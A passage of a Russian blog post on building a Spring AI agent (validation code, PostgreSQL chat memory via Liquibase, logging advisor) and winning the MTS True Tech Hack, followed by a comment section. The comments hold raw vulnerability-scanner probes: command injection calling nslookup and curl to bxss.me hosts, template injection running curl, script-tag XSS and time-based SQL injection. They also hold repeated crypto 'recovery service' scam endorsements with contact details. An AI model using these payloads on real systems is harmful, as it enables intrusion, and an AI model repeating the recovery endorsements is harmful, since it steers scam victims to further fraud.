    private String formatViolation(ConstraintViolation<?> v) {  
        String path = v.getPropertyPath() == null ? "" : v.getPropertyPath().toString();  
        Object invalid = v.getInvalidValue();  
        String invalidStr;  
        try {  
            invalidStr = invalid == null ? "null" : String.valueOf(invalid);  
            if (invalidStr.length() > 500) {  
                invalidStr = invalidStr.substring(0, 500) + "...";  
            }  
        } catch (Exception e) {  
            invalidStr = "<unprintable>";  
        }  
        String message = v.getMessage();  
        return String.format("%s: %s (значение: %s)", path, message, invalidStr);  
    }  
  
    private void logValidationErrors(List<String> errors) {  
        if (errors == null || errors.isEmpty()) return;  
        String block = "\n================= Ошибки валидации Workflow =================\n"  
                + errors.stream().map(e -> " - " + e).collect(Collectors.joining("\n"))  
                + "\n=============================================================";  
        log.error(block);  
    }  
}

Теперь на основе системного промпта ChatGPT вызывает этот tool. Если возникает ошибка валидации, ChatGPT задает уточняющие вопросы для пользователя, чтобы дополнить или обновить данные.

Function calling и structured output — это два кита, на которых стоит разработка AI-агентов. Третий и четвертый киты — это паттерны организации цепочки запросов в LLM и качество самой модели.

Эти приемы работы со Spring AI позволяют получить AI-агента, который возвращает увесистый JSON для Low-Code-системы в MWS Octapi.

К тому же выше мы видели такую интересную штуку, как advisor. Адвисоры в Spring AI — это мощнейшие инструменты для управления циклами взаимодействия фреймворка и LLM. В этом проекте используется два базовых адвисора.

Первый вопрос, который у вас возникнет, когда вы будете писать проекты, основанные на LLM: как заставить API LLM запоминать сообщения, которые я ей раньше присылал? Как сделать память агента? Из коробки такой функциональности нет. Для этого вам нужно на своей стороне хранить историю переписки и передавать ее в специальном поле в запросе к LLM. Иногда это поле называется assistant.

В Spring AI для реализации памяти есть MessageChatMemoryAdvisor. Вот как на коленке сделать память, которая будет храниться в отдельной таблице в PostgreSQL и доставаться по ключу.

Нужно создать таблицу с помощью миграции. В доках Spring AI есть раздел про память, он выведет на различные DDL-запросы для создания таблиц. Вот пример для Liquibase:

<databaseChangeLog  
        xmlns="http://www.liquibase.org/xml/ns/dbchangelog"  
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
        xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog  
                            http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-latest.xsd"        objectQuotingStrategy="QUOTE_ONLY_RESERVED_WORDS">  
  
    <changeSet id="spring-ai-add-chat-memory" author="vibe-json">  
        <!-- Создаём таблицу ai_chat_memory -->  
        <createTable tableName="ai_chat_memory">  
            <column name="conversation_id" type="VARCHAR(36)">  
                <constraints nullable="false"/>  
            </column>            <column name="content" type="TEXT">  
                <constraints nullable="false"/>  
            </column>            <column name="type" type="VARCHAR(10)">  
                <constraints nullable="false"  
                             checkConstraint="type IN ('USER','ASSISTANT','SYSTEM','TOOL')"/>  
            </column>            <column name="timestamp" type="TIMESTAMP" defaultValueComputed="CURRENT_TIMESTAMP">  
                <constraints nullable="false"/>  
            </column>        </createTable>  
        <!-- Создаём индекс по conversation_id и timestamp (по убыванию) -->  
        <createIndex indexName="ai_chat_memory_conversation_id_timestamp_idx"  
                     tableName="ai_chat_memory">  
            <column name="conversation_id"/>  
            <column name="timestamp" descending="true"/>  
        </createIndex>    </changeSet>  
</databaseChangeLog>

Дальше нужно определить адвисор и по ключу хранить сообщения:

public AiAgentService(ChatClient.Builder chatClientBuilder, JdbcTemplate jdbcTemplate, WorkflowTools workflowTools) {  
    this.workflowTools = workflowTools;  
    var chatMemory = JdbcChatMemory.create(JdbcChatMemoryConfig.builder().jdbcTemplate(jdbcTemplate).build());  
    this.chatClient = chatClientBuilder  
            .defaultAdvisors(  
                    new MessageChatMemoryAdvisor(chatMemory),  
                    new SimpleLoggerAdvisor()  
            )  
            .build();  
}

// ...

return chatClient  
        .prompt(new Prompt(promptMessages))  
        .advisors(advisor -> advisor.param("chat_memory_conversation_id", sessionId)  
                .param("chat_memory_response_size", 100))  
        .tools(workflowTools)  
        .call()  
        .entity(LLMResponseDto.class);

Здесь же мы видим SimpleLoggerAdvisor — это отличный адвисор для базового логирования взаимодействия фреймворка и LLM. Он помог мне раздебажить не одну проблему. Его нужно дополнительно настроить через проперти:

logging.level.org.springframework.ai.chat.client.advisor=DEBUG

На этом с обзором проекта можно остановиться и рассказать еще немного про хакатон. Исходный код проекта лежит на GitHub.

Финал MTC True Tech Hack и питч-сессия

wbcdneua7ntyyr5ljb1ettlu9ha.png

Финал проходил 25 апреля в Москве в Императорском яхт-клубе. Мы прибыли в назначенное время, заняли места в зале, ждали своей очереди на питч и смотрели проекты других команд.

Тут стоит сказать, что хакатоны вроде МТС True Tech Hack — самые сложные. По сути, для участников есть два важных условия: тебе должно быть 18 лет и ты должен проживать в РФ. Поэтому команды тут самые разные, много и новичков, и опытных разработчиков. Казалось бы, где сеньоры и где начинающие? Но на True Tech Hack начинающие разработчики показывали такие результаты, что в какой-то момент я уже потерял веру в нашу победу. Одна из таких команд прям на сцене получила приглашение на стажировку в МТС от CTO Александра Бардаша. Я считаю, это очень правильный и важный поступок — помогать молодым специалистам вливаться в промышленную разработку и занимать свое место в профессии.

И вот настал наш черед делать питч. Мы пытались показать лучшие стороны нашего проекта и, конечно же, мемы — какая без них презентация. Потом была пауза для нетворкинга: можно было пообщаться с другими участниками, перекусить и поучаствовать в конкурсах.

utoh37bc56zq44gxevtnmncap6a.jpeg

Когда началось объявление финалистов, лично я уже не верил, что мы победим. Но потом мы все-таки услышали от ведущего наше Java Boys, дружно опешили и под аплодисменты стали продвигаться в сторону сцены. Как-то так и родилась фактура для этого поста!

В заключение хочу подвести немного итогов и выразить благодарность: МТС — за хакатон, а всем участникам — за их проекты и количество вложенных в них усилий. Такие вещи не даются легко.

Итак, чтобы сделать хороший проект, нужно:

  • задизайнить,

  • спроектировать,

  • написать код,

  • ошибиться,

  • найти решение,

  • задеплоить,

  • отладить.

Если вы дошли в этом деле до конца, вы и ваша команда уже победили время, лень и проблемы. Это заслуживает как минимум уважения, даже если вам не удалось попасть в призеры.

Читателям я хочу посоветовать найти силы и время, чтобы собрать команду и попасть на хороший хакатон. Это подстегивает развитие в разработке и создании проектов, прокачивает ваши навыки и дает зачатки какого-то стартаперского духа. Кто знает, может, после очередного хакатона у вас родится идея своего собственного невероятного проекта и вы представите его миру. Я вам этого искренне желаю!

Источник

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon